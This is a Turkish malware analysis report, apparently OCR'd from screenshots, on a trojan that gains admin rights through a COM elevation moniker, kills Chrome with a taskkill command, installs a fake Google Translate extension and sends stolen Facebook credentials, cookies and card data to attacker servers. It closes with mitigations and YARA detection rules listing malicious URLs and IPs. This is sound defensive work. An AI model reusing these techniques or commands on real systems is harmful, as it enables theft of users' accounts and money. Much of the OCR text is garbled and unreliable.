SeBackupPriviege Enabled Dosya ve diz Vrualzaton
SeChangeNotifyPriviege DefaultEnabled  Capraz gecis 5
SeCreateGiobaPriviege Default Enabled  Genel nesnele ouree
SeCreatePagefilePriviege Enabled Disk belldi do Name: Usera2
SeCreateSymbolicLinkPriviege Enabled simgesel bad: LUID: 12692
SeDebugPrivilege Enabled Programlann
SelmpersonatePrivilege Default Enabled  Kimiik dogrular
SelncreaseBasePriorityPrivilege Enabled Zamanlama dr
SelncreaseQuotaPriviege Enabled islem igin bele

To view capabiltes, dlaims and other atwibutes, dick Advanced,

‘
Co= |

HRESULT v5; // [esp+eh]
int v6; // [esp+sh] [ebp-
void *ppv; // [esp+8h]

BIND_OPTS pBindOptions;
int v9; // [esp+2@h] [eb
WCHAR pszName[268]; //

V5 —2147‘467‘259;

ppv = @;
if ( sub _13CF2E@(al) <=

-

sub_13CF1D@(&pBindOpti
pBindOptikns. cbstruct

v = a3;

if ( laz )
vE = 4;

v3 = vB;

sub_13CF27@(psziame, a

sub_13CF21@(psziame, (_WORD

v5 = CoGetObject(pszNa

¥
*(_DWORD *)ad = ppv;

return v5;

Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}

[ebp-234h] BYREF

[esp+3@h]

[ebp-23Ch]
238h]

/Y
p-21

[esp+Ch]
h]

[ebp-23@h] BYREF

[ebp-2@Ch] BYRE

Bx48u )

ons, 36);
36;

ElevationAdmin);
PEDH
me, &pBind0

&ppv);

OFE745 08
50

FF15 78E04001
8985 BAFDFFFF
8BSD EB4FDFFFF

FF15 98E04001
8985 ACFDFFFF

51 push ecx

&A pus

FF15 A4E04001 call dword prr ds:[<&LoadResources]

8985 BOFDFFFE mov dword ptr ss:[ebp-250],eax [ebp-250]
£E35 BOFDFFFF mov edx,dword ptr ss:[ebp-250] [ebp-250]
52 push edx

FF15 AQE04001 €@l dnord prr ds [<tockResources]

8985 ASFDFFFF mov dword ptr ss:[febp-255],e

8885 BAFDFFFF Tov 2aw,dword per s5iLebo tacd

50 push eax

&A push 0

movzx eax,word ptr ss:lebp+sh

push eax

push 0

€all dword prr ds:[<&Findresourcews]
mov dword ptr ss:[ebp-z4cl),eax

mov ecx,dword prr ss:ifebp-24C]

€alll dword ptr ds: [<asizeofResources]
mov dword ptr ss:[ebp- >54],eax

FPU Gizle

EAX ~ 0145CC38 dmsryohofetmis]n1kpTLuna. 0145€C48

EBX  7EFDE00D

ECX B2288 kernelbase. 77782388

EDX 01475000

EEE  0034DD78

ESP  0034DE18

ESI  00340D84 \\Users\\zorro\\AppData\\Local\\Google\\Chrome\\User Data\\D
EDI 00432510 \Users\\Zorro\\Desktop\\droppedfiles\\dMs ryDHOTETMISLNTKPTTU
EIP  013CA2E9 dmsryohofetmisInlkpttuwa.013CAZES

~ |[varsayian (stdcal)

~ 5 12 O kiitsiz

20000
[esp+10] 004ADD10 L"C:\\Users\\zo:
[esp+14] 01446228 dmsryohofetmisl

rro\\AppoataiiLocel\\Gaeg] el\Chrone\\user Data\\D)
nlkpttuwa. 0144622

804D 0C lea ecx,dword ptr ss:Hebp+Cll [ebp+CIIL Ci NN
E8 E1BEFFFF call dmsrynhufetmslmkpttwa 13CEC00 -
i ’
r [ebp. 'D034DB28 &L"C:\\Users\\zorro\\Appoata\\Local\\Google\\Chrome\\User Data\\Default\\EXT

dword pt
eax=dms r'yuhof:tmﬂ nTKPTTUNa. 0145CC48

- text: D13CA2E3 dmSryohofetmisinlkpttuwa.exe: SCAZE9 #CIBED

W Dokim1 | W4 Dikiim2 | W Dokiim3 | 44 Dokiim4

| WY DokiimS

| @ ise1 | bl verelDegigkenler | ' vap |

0034DB1C

Adres

ASCIT

>

0145CC4E

0145CC58 00

20 48 02 04
Cz oC 8E 01
6C 7 64 6C

64 63 64 62|7
7 2F

FK.

o ..col
gd1ijdieibnaccrd
CdbpdrTotkren/c.

FA
01gdiijdi
E1bna((v’d(dbpdff

T7C03407
i) ]

0

10 | L"C:\\users\\zorro\vipaoazait ocal\\Googl e\chrometuse
dmSryohofetmisInlkpttuna. 0144622

0

return to ntd11.77C03407 from ntd11.77E8F22B0




if ( [46](

-2147483646,

L"SOF TWARE\ \Wowsd 32Node\V\Microsoft\ \Windows \ \CurrentVers
L"InstallLocation”,
a,
Bv4a)
I« = {(int ( }(int, L
[48](
-2La?483645
L"SOFTWARE! rosoft)\ \Windows\(

L"Version”®,
a,

ion,

urrentVersion'\LU

Wninstal

1\\Google Chrome~,

RD, cha » int "))sub_13B6F38()

ninstall\\Google Chrome™,

Admin yetkisine ylikselttikten sonra kaynaklarinda bulunan colgdlijdieibnaccfdcdbpdffotkfeb
isimli chrome eklentisini yiiklemek i¢in chrome’un yiiklendigi lokasyon ve version
bilgileriyle 6n ayarlarini yaptiktan sonra eklenti kurulumu yapilmaktadir. Kurulumu yapilan
eklenti ExtentionInstallWhitelist’e eklenmektedir.

8855 F7FIFFFF mov byte ptr ss:febpcosl dl
8385 FOFIFFFF add dword ptr
8380 Frrarerr 08 cmp byte pt
~ 75 EZ jne dmsryohofetmi:
8885 FOFIFFFF mov eax dw
2885 98FIFFFF sub eax, dword
8985 9AFIFEFF mov dword ptr
BESD 34FIFFFF moy ecx,dword
D1E1 shl ecx,
898D ESFIFFFF mov dword ptr ss:
8095 ACFBFFFF Tea cdx,dword
52 push edx
BDSS CCFAFFFF lea eax,dword ptr ss:[ebp-834]
50 pu:
€A 00 push o
€8 08010200 push 20106
€A 0D pus
6A 00 push n
6A 0D pus
68 §23F4101 push ansryonoretnising KPTTUWa. 1418F6E
68 02000080 push 80000002
EB BOFAFEFF gall dnsryohofetnisInlkpttua. 1386F30
8885 DS000D0D0D mov_ecx,dword ptr ds:[eax+Ds]
call ecx
B985 FCFIFEFF mov dword ptr febp-co4], eax
€785 FEF3FFFF 030000(mov dword ptr [Ehp*(ﬂb]‘)
8380 FCFIFFFF 0D cmp_dword ptr febp-cosl,0
~ 7a 5a je dmSryohofetmisinlkpttuwa.13C7528
< m

|| FPu Gizle

EAX 01442090 «<dmsryohofetn1sTnlkpriuwa. &GetModul eFilenanews
EBX  TEFDEOOD
febp-ces | ESX 77561399 <advapi32.Reglr eatekeyExaA>
. EDX  004235A0
EBF  0034EcES
ESE  0034DD78
ESI  01418F6s dnsryohofetmisInl kpttuwa. 01418765
EDI  0034ECDS
EIF  013CT486 dnsryohofetmisInlkpttuwa. 013C7 486
EFLAGS 00000246
ZF 1 PF 1 AF O
OF 0 SF O DFO
CFo TFo 1F1
1418F68: — I

| varsaylan (stdcal)

v |5 [ [ kiitsie

——
ecx=<advapi32.RegCreatekeyExA> (77561399)

. text:013c74B6 dmsryohofetmisInlkpttuwa. exe:$C74B6 #CEASE

52 pusn eax
ES CGFEFFFF

M e RS I S WSS
304 0 add esp
CE45 FC 08 mov byte ptr ss:febp-4,6
a0 pus

ush ns ryohaf etm1s1nTkpt tuwa, 1418EC4
ca1'| dword ptr ds: [<awinExec>]

Eail Gmord ptr ds: [<aSlesps]
o-

68040100 push 104
64 00
8D85 C4FDFFFF lea eax dword ptr ss:[ebp-23cl
push ea
ES 24330100 call dmsrynhufetmslmkpttwa 13DA730

.

1: [esp] 50000002
2: [esp+4] 0141BF6E "SOFTWARE\\Palicies\\Google\\Chrome\\ExtensionInstallwhitelist”
3: [esp+s] 0000000O
4: [esp+C] 00000000
5: [esp+10] 00000000

1418EC4: " cmd. ¢

L wuasesio &1\ \USEFS|\Z0rr oY \UESKTOPY \Oroppear 185\ aMs FyUHOTE IMLSLN 1K 1 T
EIP  013CEDES dmsryohoTetm1sTnTkpttuwa. 013C6DES

EFLAGS 000002086

ZF 0O PF1 AF O

— | varsayiian (stdcal)
[1: [esp] 01418EC4 “cmd.exe /C taskkill /f /im chrome.exe"
: [esp+s] 00000000

dword ptr [0140E058 <dmsryohOTeTmisInIKPTTUWA.&WTNEXEC>]=<Kernel32. Winexec>

. Text:013CEDES dmsryohofetmisTnlkprruwa. exe: SCEDES #C63ES

T
2:

3: [esp+s] SE0FEIDA
4: [espeC

5

00432510

~ |5 [ O wiitsiz

£"C:\\Users\\zorro\\Desktop\\droppedfiles\\dMsryOHoTETMISLNTkpTEu

[Esp+1ﬂ] 01443884 dmSryohofetmisinlkpttuwa. 01443884

Eklenti klasori igerisinde Mode-ecb.js, pad-nopadding.js ve aes.js dosyalarinin sifreleme igin
kullanilacagi gézlenmektedir. Manifest.json incelendiginde yapilacak olan url aramalarinin
ctcodeinfo[.]Jcom/search adresine g parametresiyle post edildikten sonra google’a
yonlendirilmektedir. Ayrica zararli eklenti Google Translate eklentisine benzetilerek

gizlenmeye caligilmistir.



Sundjs 3| B contertis £ [H manifestjson B

a{

1

1

1

1
wH1dsEéHu+0RMEaTwEdbOE TS ZYAuHDZE Sr0TY 5505 shEPDa¥ 3 ¥vd3Chak
v IELIHmgLE0L NHEne7IAXZVDMESS1qENC1ALSbEZEL

tabs", "hLtp://%/*", "https://*/*", "notifications”, "sctiveTsb”, "webRequest”, "webRequestBlocking®, "storage”, "browsingData", "history”,
*, "privacy", "contentSettings”, "webMavigation®, "contextMenus" ],
“1

MD5 029c53effaed86331055c63d264c3316

SHA1 859bb39d27h462a73fc9131f694b69c8c118b3cf

Bu js dosyasi ile saldirgan Facebook iizerinden kullanici kimlik, ciizdan gibi 6nemli bilgilerini
calmak icin degisken ve fonksiyonlar sifrelenmis sekilde tutulmaktadir.

Dosya Adi background.js

MD5 C4da92c376efb99b13c93397db98aad2

SHA1 E255f207c3e5a9f3366e9b871c1721d9730ch84e

sub_138E4D@((int)vEe, "JSON=", (int)v59);
224 LOBYTE(vEs) = 22;
. . . o . . . . 22 sub_138368@( » “application/x-www-form-urlencoded;charset=utf-8");
Calinan bu sifreler background.js icerisindeki sifrelenmis LOBVTE(v65) = 23;

sub_138368@(v65, Bunk_141834F);

sekilde tutulan uzak sunuculara post ederek saldirgana | o roueaatezs. Fanttp:/fwmme.Lylatan. conr s
LOBYTE(v6E) = 25;
ulastirmaktadir. 1| sab samespe( (e )husz, (1atyvat, o)
= std.;s;;;rjg;;vstringt( sistri ywzl);
Temp dizininde toplanan veriler iyigian[.Jcom adresinden = 2o L sk seaeasy )
- . q 237) {
edinilen fcnbycy[.]xyz/Home/Index/Ikdinl adresine : - sub_1386400((n) 14, “hetp:/ T, (in0)ues);
JSON:{slfreh Vel‘i} seklinde pOSt edllmektedlr MDBVIEE ]. =}isl:>_1385456{< ntYvs, vis, "/Home/Index/lkdinl"};
sub 49F B 3
std??z‘:rin;wstringg( 0 ng *)vs);
" Jud)
= 5 13BEDS@( - H

sub_13€1€20(v32);
sub_1385450(v3);

}
LOBYTE(v65) = 24;



E055 AR Tea de dword ptr ss:ebp 5ol +|[ FPu Gester
52 h ed

pus!
o pigsin g:g"‘eg;5;;3:;’;;:,125’_’[:?““5]141947" LR e iETR EAX  DO4GFOOC &"http: //www. Fenbycy . xyz /Home/Index/Tkdin1"
50 push ea; eax: &"http: //wew. fenbycy. xyz /Home/Index/Tkdin1™ Eox  [Eroeomo S ——
E8 BESFFCFF (al] dm;rynhnfetms]nlkpnuwa 138E4D0 ZEL) e VBNV Z

Sca oc 'C EDX  O046EEQD
8985 7BFEFFFF muv aworu ptr ss:[ebp-188], eax [EBEQC TS 6E 50
8EBD 7EFEFFFF mov ecx,dword ptr ss:[enp-lss] ESE  0046EF20
838D TAFEFFFF mov dword ptr ss:[ebp-15C, ecx ESI 01443884 dmsryohoTetm1sInIkpTtuwa, 01443884
Cess FCIE mov bg(edp(rdss;[ehp—z]glEl T EDI 00502510 a"c:\\users\\zorro\\Desktop\\droppedfilesyy

mov edx,dword ptr ss:[febp-1s:
52 push_ed EIP  013Ca551 dmsryohoferm1sTnlkprruwa. 013Ca551
8DES TCFCFFFF Sea caxydword ptr ss:lebp-354] [ebp-384] / oo Fenbiycy. xyz /Home/ Index/ 1kdind
push eax ax: & htip: /,/mww. Fenbycy. xyz,/Home,/ Index/Tkdin

£8 129FFCFF €all dmsryohofetmisInlkpttuwa. 138E450 ErLaes o Joot0aie

C: o 2dd"esp.C OF 0 SFO0 DFO
8385 7OFEFFFF mov dword ptr ss:[ebp-150], eax fenbycy. xyz/Home/Index/Tkdin
BEED TOFEFFFF mov ecx,dword ptr ss:[Jebp-130] fenbycy. xyz /Home/Index/Tkdin FD WO A
51 ush _ecx
804D As Nea ecxrdword per ss:[ebp LastError 00000000 (ERROR_SUCCESS)
£8 9AQAFCFF €ATY ané ryonor eTmysInIkRETIME, 13849F0 Laststatus COODO0A3 (STATUS_DEVICE_NOT_READY)

SDED_7CFCFEFF Tea ecx,dword ptr ss:[ebp-224] [ebp-384]: "http: //www. fcnbycy. xyz /Home/Index, Tkdin1 |
E8 CFFEFEFF €all_<dmsryohofetmisinlkpttuwa.sals 1
T S A s ot oI5 ¢ D
£8 COFEFEFF call <dmsryuhofe:msimkpt:uwa sal> _[Z [=sp1_anseroac &rhtep: //wn. Tenoycy. = o /e TR

&a i nush [espi4] DED3281

[esp+8] uusezwu
[esp+C]_oD4sEa24
[esp+10] 013C1609 dmsryohofetmisinlkpttuwa.013¢1609

i ] ’
dms ryohofetmisIn1kpttuwa. 012849F0

. Text:013C4551 dmsryohofetmisInkptruwa. exe: $C4551 #C3851

Jeeww TENbycy . xyz /Home Index/ 1kdinl

Wy Dékiim1 | WDskim? | Wy Dokim3 | U4 Dskimé | WyDskims | @8 fZe 1 | Ix=l Yerel Degiskenler | i Yapi
Adres Hex ASCIT

D0SCO330FE FF 74 2D[43 GF GF GE69 65 34 2076 73 7A 00| yyt Cookie: xyz.
005C0340|18 B3 86 68(00 00 00 &8 s T Y iy N
005C0350(00 2¢ 4F 0002 00 00 00|18 B3 85 EE|00 00 00 88
00SCO360 (B2 02 & 20 SE 57 E& 40 4F 01 00 00 00
005C0370(1D B3 86 GB |00 00 00 88

005C0380|20 55 57 0001 00 00 00|02 B3 86 68|00 00 00 88

return to dmsryohofetmisInlkpttuwa.013€1609 from dmsryo

8BFF mov_edi, e HTTpOpenRequestA ~|| FPu Gaster
55 push_ebp
BBEC mov ebp,esp i
SEEC e o zp)EFperres xS <dmsryohofetmisTn1kpttuwa, &GetModul eFilenal
83EC_3C sub esp,3c ;
=5 " ECX  76E241A0 <wininet.HTTPOperkequestAx
224424 04 lea eax uworu ptr ss:llesp+4ll EDX  DO4F35A0
&a 38 EEE  0D46EDSC
3376 ESP  DO46ECEC
56 ESI 01443884 dmsryohofetmisInTkpttuwa. 01443884
50 EDI 00502510 &"C:\\Users\\zorro\\Desktop\\droppedfiles\
ES EGECFSFF [P —
3C4 0C add esp,c —| EIP TEBE41aZ wininet.76B841A2
sDsc23 08 lea ecx,dword ptr ss:[esp+s]
£8 DSFIFEFF CaIT wihinet. 7651359¢
PR el e ErLaGs  ooono2ss
584D OB mov ecx,dword per ISON=TY6U/pSW3ENNeh ESBeliQx+xNSD /+tH4PpT 2wd
£ e OF D SFD DFOD
e B o CFO TFO IF1
FF75 24 push dword ptr s:
FE75 20 push dword ptr = LastError 00000000 (ERROR_SUCCESS)
FF75 1C push dword ptr s: LasTstatus 00000000 (STATUS SUCCESS)
FF75 18 push dword ptr s: ]
FF75 14 push dword ptr . |
FEZ5 10 push dword ss Varsaylan (stdcall) v |5 2] [ witsiz
E8 BIFIFTFF €all wininet.76803855 ST TesoeaT
i : Soac2s 08 U el et [ S5 - [esp+8] ODAGEETD "FOST"
A = ] D [esp+C]_0055ESDE */Home/ Index, Tkdin ™
[esp+10] D1s16DCO "HTTP/
Ebp=004GEDSC [esp+14] 0000OOOO
.text:76BB41AZ wininet.d11:$A41A2 #AZEAZ '

{"profilecount™:1,"data":[{"profilename":"Default","loginname™:"","psw":"","userid":"","coo
kies":[],"fulllogindata":[],"accountinfo™:{' UseerckName". ""page™:") pagedetail : ','bm":
‘balance™:"","card":"","adscard":"","threshold":"","billinginfo™:"","paypal":"","frieldcount™
;" "accountstatus™:"""}}]} seklinde bilgileri alarak uzak sunucuya iletmekte.
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Coziim Onerileri

e  Glincel antivirls yazilimlarinin kullaniimasi,

e Raporda bulunan sunucularla karsilikh trafigin engellenmesi,

o Ag paketlerinin filtrelenmesi ve takibinin yapilmasi,

e Admin gruplarindan standart kullanicilarin ¢ikartilmasi,

e Mail yoluyla gelebilecek olan dosyalarin taramadan gecirilmeden agilmamasi gibi ¢ézlimler trojan
tlrtndeki zararlinin cihazlariniza bulasmasini engelleyebilir.
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Yara Rule

import "pe"
rule RedLine {
meta:
author = "Mustafa Ginel"
strings:
Ssnowman = "Snowman+under_a_snOwdrift_forgot_the_Snow_Maiden"
SsnowmanHex = {

53 6E 6F 77 6D 61 6E 75 6E 64 65 72 5F 61 5F 73 63 30 77 64 72 69 66 74 5F 66 6F 72 67 6F 74
5F 74 68 65 5F 53 6E 6F 77 5F 4D 61 69 64 65 6E

}

Shost = /HOST:([0-9]{1,3}\.){3}[0-9]{1,3}/
Sd0="136.144.41.133/server.txt"
$d1="136.144.41.201"
$d2="37.0.11.41"

Sul=
"https://cdn.discordapp.com/attachments/855697945679888404/864858212527505428/file2.bmp"

Su2 =
"https://cdn.discordapp.com/attachments/855697945679888404/864515165273325608/file3.bmp"

Su3 = "http://136.144.41.201/WW/file6.exe"
Su4 = "http://136.144.41.201/WW/file7.exe"
Su5 ="http://136.144.41.201/WW/file8.exe"

Sub =
"https://cdn.discordapp.com/attachments/849802777433341954/849807598056112138/Setup2.exe"

Su7 =
"https://cdn.discordapp.com/attachments/849802777433341954/851833670733266955/jooyu.exe"

Su8 ="https://a.xyzgame.vip/userf/2201/google-game.exe"
Su9 ="http://flamkravmaga.com/pub4.exe"
Su10="http://185.20.227.194/install.exe"
Sull="http://136.144.41.201/WW/file5.exe"
Sul2="http://136.144.41.201/WW/file3.exe"
Su13="http://136.144.41.201/WW/filel.exe"
Sul4="http://136.144.41.201/WW/file2.exe"
Sul5="http://136.144.41.201/WW/file10.exe"

Sul6=
"https://cdn.discordapp.com/attachments/855697945679888404/864742938050953216/app.bmp"
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Sul7="http://www.anderesitebrauchen.com/campaignl/autosubplayer.exe"

Sul8=
"https://cdn.discordapp.com/attachments/847501113036374067/864173005051920414/eghaest_1.bmp"

Sul9=
"https://cdn.discordapp.com/attachments/847501113036374067/864186695954858024/Mix_11.07_Rebuild_.bmp"

Su20= "http://i.spesgrt.com/lqosko/p18j/customer3.exe"
Su21="http://everestsoftrade.net/Toner-RecoverSetup.exe"
Su22="http://136.144.41.201/WW/kaguya.exe"

Su23=
"https://cdn.discordapp.com/attachments/855697945679888404/864895330696953876/bacon.bmp"

$p="Crypto++ RNG”
condition:

Ssnowman or SsnowmanHex or Shost or (1 of ($d0,5d1,5d2,
Sul,5u2,5u3,5u4,5u5,5u6,5u7,5u8,5u9,5u10,5u11,5u12,5u13,5u14,5u15,5u16,5u17,5u18,5u19,5u20,5u21,5u22,5u23,5p))

}

rule section

{
condition:

(pe.number_of_sections == 5 or (pe.version_info["CompanyName"] contains "TN MaxHolder") and
pe.version["10.24.0.1"]) and pe.EXECUTABLE_IMAGE

}

rule dM5ry0{
strings:

Ss0="Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"
wide ascii

Ss1="SOFTWARE\\Wow6432Node\\Microsoft\\Windows\CurrentVersion\\Unistall\Google
Chrome"

$s2="SOFTWARE\\Policies\\Google\\Chrome\\ExtensionInstallWhitelist"
Ss3="cmd.exe /c taskkill /f /im /chrome.exe"

Sex = "colgdlijdieibnaccfdcdbpdffofkfeb"

condition:

Ssor $s1 or $s2 or $s3 or Sex
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